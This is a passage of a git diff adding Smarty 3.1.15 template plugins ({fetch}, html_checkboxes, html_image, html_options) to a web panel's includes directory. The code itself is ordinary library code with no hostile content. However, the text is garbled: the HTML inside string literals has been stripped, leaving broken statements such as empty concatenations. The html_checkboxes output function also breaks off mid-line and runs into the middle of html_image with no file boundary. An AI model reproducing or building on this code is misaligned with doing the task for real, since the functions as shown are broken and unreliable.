fetch] unable to parse URL, check syntax",E_USER_NOTICE); + + return; + } + } else { + $content = @file_get_contents($params['file']); + if ($content === false) { + throw new SmartyException("{fetch} cannot read resource '" . $params['file'] ."'"); + } + } + + if (!empty($params['assign'])) { + $template->assign($params['assign'], $content); + } else { + return $content; + } +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.html_checkboxes.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.html_checkboxes.php new file mode 100644 index 0000000..ad0e9cd --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.html_checkboxes.php @@ -0,0 +1,235 @@ + + * Type: function
+ * Name: html_checkboxes
+ * Date: 24.Feb.2003
+ * Purpose: Prints out a list of checkbox input types
+ * Examples: + *
+ * {html_checkboxes values=$ids output=$names}
+ * {html_checkboxes values=$ids name='box' separator='
' output=$names} + * {html_checkboxes values=$ids checked=$checked separator='
' output=$names} + *
+ * Params: + *
+ * - name       (optional) - string default "checkbox"
+ * - values     (required) - array
+ * - options    (optional) - associative array
+ * - checked    (optional) - array default not set
+ * - separator  (optional) - ie 
or   + * - output (optional) - the output next to each checkbox + * - assign (optional) - assign the output as an array to this variable + * - escape (optional) - escape the content (not value), defaults to true + *
+ * + * @link http://www.smarty.net/manual/en/language.function.html.checkboxes.php {html_checkboxes} + * (Smarty online manual) + * @author Christopher Kvarme + * @author credits to Monte Ohrt + * @version 1.0 + * @param array $params parameters + * @param object $template template object + * @return string + * @uses smarty_function_escape_special_chars() + */ +function smarty_function_html_checkboxes($params, $template) +{ + require_once(SMARTY_PLUGINS_DIR . 'shared.escape_special_chars.php'); + + $name = 'checkbox'; + $values = null; + $options = null; + $selected = array(); + $separator = ''; + $escape = true; + $labels = true; + $label_ids = false; + $output = null; + + $extra = ''; + + foreach ($params as $_key => $_val) { + switch ($_key) { + case 'name': + case 'separator': + $$_key = (string) $_val; + break; + + case 'escape': + case 'labels': + case 'label_ids': + $$_key = (bool) $_val; + break; + + case 'options': + $$_key = (array) $_val; + break; + + case 'values': + case 'output': + $$_key = array_values((array) $_val); + break; + + case 'checked': + case 'selected': + if (is_array($_val)) { + $selected = array(); + foreach ($_val as $_sel) { + if (is_object($_sel)) { + if (method_exists($_sel, "__toString")) { + $_sel = smarty_function_escape_special_chars((string) $_sel->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute contains an object of class '". get_class($_sel) ."' without __toString() method", E_USER_NOTICE); + continue; + } + } else { + $_sel = smarty_function_escape_special_chars((string) $_sel); + } + $selected[$_sel] = true; + } + } elseif (is_object($_val)) { + if (method_exists($_val, "__toString")) { + $selected = smarty_function_escape_special_chars((string) $_val->__toString()); + } else { + trigger_error("html_checkboxes: selected attribute is an object of class '". get_class($_val) ."' without __toString() method", E_USER_NOTICE); + } + } else { + $selected = smarty_function_escape_special_chars((string) $_val); + } + break; + + case 'checkboxes': + trigger_error('html_checkboxes: the use of the "checkboxes" attribute is deprecated, use "options" instead', E_USER_WARNING); + $options = (array) $_val; + break; + + case 'assign': + break; + + case 'strict': break; + + case 'disabled': + case 'readonly': + if (!empty($params['strict'])) { + if (!is_scalar($_val)) { + trigger_error("html_options: $_key attribute must be a scalar, only boolean true or string '$_key' will actually add the attribute", E_USER_NOTICE); + } + + if ($_val === true || $_val === $_key) { + $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_key) . '"'; + } + + break; + } + // omit break; to fall through! + + default: + if (!is_array($_val)) { + $extra .= ' '.$_key.'="'.smarty_function_escape_special_chars($_val).'"'; + } else { + trigger_error("html_checkboxes: extra attribute '$_key' cannot be an array", E_USER_NOTICE); + } + break; + } + } + + if (!isset($options) && !isset($values)) + return ''; /* raise error here? */ + + $_html_result = array(); + + if (isset($options)) { + foreach ($options as $_key=>$_val) { + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } else { + foreach ($values as $_i=>$_key) { + $_val = isset($output[$_i]) ? $output[$_i] : ''; + $_html_result[] = smarty_function_html_checkboxes_output($name, $_key, $_val, $selected, $extra, $separator, $labels, $label_ids, $escape); + } + } + + if (!empty($params['assign'])) { + $template->assign($params['assign'], $_html_result); + } else { + return implode("\n", $_html_result); + } + +} + +function smarty_function_html_checkboxes_output($name, $value, $output, $selected, $extra, $separator, $labels, $label_ids, $escape=true) +{ + $_output = ''; + + if (is_object($value)) { + if (method_exists($value, "__toString")) { + $value = (string) $value->__toString(); + } else { + trigger_error("html_options: value is an object of class '". get_class($value) ."' without __toString() method", E_USER_NOTICE); + + return ''; + } + } else { + $value = (string) $value; + } + + if (is_object($output)) { + if (method_exists($output, "__toString")) { + $output = (string) $output->__toString(); + } else { + trigger_error("html_options: output is an object of class '". get_class($output) ."' without __toString() method", E_USER_NOTICE); + + return ''; + } + } else { + $output = (string) $output; + } + + if ($labels) { + if ($label_ids) { + $_id = smarty_function_escape_special_chars(preg_replace('![^\w\-\.]!' . Smarty::$_UTF8_MODIFIER, '_', $name . '_' . $value)); + $_output .= '
'; + $suffix = ''; + break; + + default: + if (!is_array($_val)) { + $extra .= ' ' . $_key . '="' . smarty_function_escape_special_chars($_val) . '"'; + } else { + throw new SmartyException ("html_image: extra attribute '$_key' cannot be an array", E_USER_NOTICE); + } + break; + } + } + + if (empty($file)) { + trigger_error("html_image: missing 'file' parameter", E_USER_NOTICE); + + return; + } + + if ($file[0] == '/') { + $_image_path = $basedir . $file; + } else { + $_image_path = $file; + } + + // strip file protocol + if (stripos($params['file'], 'file://') === 0) { + $params['file'] = substr($params['file'], 7); + } + + $protocol = strpos($params['file'], '://'); + if ($protocol !== false) { + $protocol = strtolower(substr($params['file'], 0, $protocol)); + } + + if (isset($template->smarty->security_policy)) { + if ($protocol) { + // remote resource (or php stream, …) + if (!$template->smarty->security_policy->isTrustedUri($params['file'])) { + return; + } + } else { + // local file + if (!$template->smarty->security_policy->isTrustedResourceDir($params['file'])) { + return; + } + } + } + + if (!isset($params['width']) || !isset($params['height'])) { + // FIXME: (rodneyrehm) getimagesize() loads the complete file off a remote resource, use custom [jpg,png,gif]header reader! + if (!$_image_data = @getimagesize($_image_path)) { + if (!file_exists($_image_path)) { + trigger_error("html_image: unable to find '$_image_path'", E_USER_NOTICE); + + return; + } elseif (!is_readable($_image_path)) { + trigger_error("html_image: unable to read '$_image_path'", E_USER_NOTICE); + + return; + } else { + trigger_error("html_image: '$_image_path' is not a valid image file", E_USER_NOTICE); + + return; + } + } + + if (!isset($params['width'])) { + $width = $_image_data[0]; + } + if (!isset($params['height'])) { + $height = $_image_data[1]; + } + } + + if (isset($params['dpi'])) { + if (strstr($_SERVER['HTTP_USER_AGENT'], 'Mac')) { + // FIXME: (rodneyrehm) wrong dpi assumption + // don't know who thought this up… even if it was true in 1998, it's definitely wrong in 2011. + $dpi_default = 72; + } else { + $dpi_default = 96; + } + $_resize = $dpi_default / $params['dpi']; + $width = round($width * $_resize); + $height = round($height * $_resize); + } + + return $prefix . '' . $alt . '' . $suffix; +} diff --git a/panel/includes/Smarty-3.1.15/libs/plugins/function.html_options.php b/panel/includes/Smarty-3.1.15/libs/plugins/function.html_options.php new file mode 100644 index 0000000..5ff9875 --- /dev/null +++ b/panel/includes/Smarty-3.1.15/libs/plugins/function.html_options.php @@ -0,0 +1,195 @@ + + * Name: html_options
+ * Purpose: Prints the list of